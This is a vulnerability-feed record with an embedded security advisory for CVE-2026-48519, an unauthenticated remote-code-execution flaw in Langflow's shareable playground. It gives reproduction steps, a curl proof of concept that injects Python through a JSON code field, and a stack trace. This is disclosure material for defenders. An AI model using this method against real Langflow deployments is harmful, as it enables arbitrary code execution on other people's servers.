{"id":"CVE-2026-48519","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","summary":"Langflow: Unauthenticated RCE in Shareable Playgrounds","severity":"critical","cvss":9.6,"cwe":["CWE-94"],"vendor":"langflow","product":"langflow","ecosystem":"pip","affected":["langflow <= 1.9.1"],"patched":["langflow 1.9.2"],"published":"2026-06-16","updated":"2026-06-16","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-v5ff-9q35-q26f","references":[{"url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-v5ff-9q35-q26f"},{"url":"https://github.com/advisories/GHSA-v5ff-9q35-q26f"}],"tags":["ghsa","pip","exploit-available"],"epss":0.00783,"epssPercentile":0.54521,"ingestedAt":"2026-06-29T14:31:47.732Z","exploits":{"github":1,"githubRepos":["https://github.com/lukehebe/IBM-Langflow-CVE-2026-48519-poc"],"checkedAt":"2026-09-23T07:14:08.564Z"},"exploitAvailable":true,"slug":"CVE-2026-48519","body":"## Overview\n\n### Summary\nThe \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability.\nSimply sharing a flow exposes the deployment to RCE risk by authenticated users.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nShareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.\nSpecifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID.\nWhen the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!\n\nThe vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.\n\n### PoC\nReproduction:\n1. Create a new flow and add a Chat Input node to it\n2. Share the flow (\"Shareable Playground\")\n3. Access the public link with the browser developers tools open and execute the flow.\n4. Find the `/api/v1/build_public_tmp` route and copy as cURL\n5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command.\n\nExample PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json):\n```bash\ncurl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \\\n  -H 'Content-Type: application/json' \\\n  -b 'client_id=anything' \\\n  --data-raw \"$(cat test_with_python.json)\"\n```\nSearch for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code.\n\n\n\nThe stacktrace for the code executed is:\n```\n...\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 495, in generate_flow_events\n    ids, vertices_to_run, graph = await build_graph_and_get_order()\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 234, in build_graph_and_get_order\n    graph = await create_graph(fresh_session, flow_id_str, flow_name)\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 298, in create_graph\n    return await build_graph_from_data(\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py\", line 192, in build_graph_from_data\n    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get(\"user_id\"))\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1153, in from_payload\n    graph.add_nodes_and_edges(vertices, edges)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 270, in add_nodes_and_edges\n    self.initialize()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 512, in initialize\n    self._build_graph()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1305, in _build_graph\n    self._instantiate_components_in_vertices()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1347, in _instantiate_components_in_vertices\n    vertex.instantiate_component(self.user_id)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py\", line 382, in instantiate_component\n    self.custom_component, _ = initialize.loading.instantiate_class(\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py\", line 45, in instantiate_class\n    custom_component: CustomComponent | Component = class_object(\n  File \"<string>\", line 59, in __init__\n```\n\n### Impact\nUnauthenticated RCE on any deployment with a shareable playground.\n\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.\n\n## Affected packages\n\n- `langflow <= 1.9.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `langflow 1.9.2`","depth":"abyssal","depthScore":65,"depthScoreParts":{"impact":52.8,"likelihood":0.2,"exploitation":12,"ransomware":0},"changes":[{"seq":209498,"id":"CVE-2026-48519","ts":1790148795256,"field":"exploit_available","old":"false","new":"true"}]}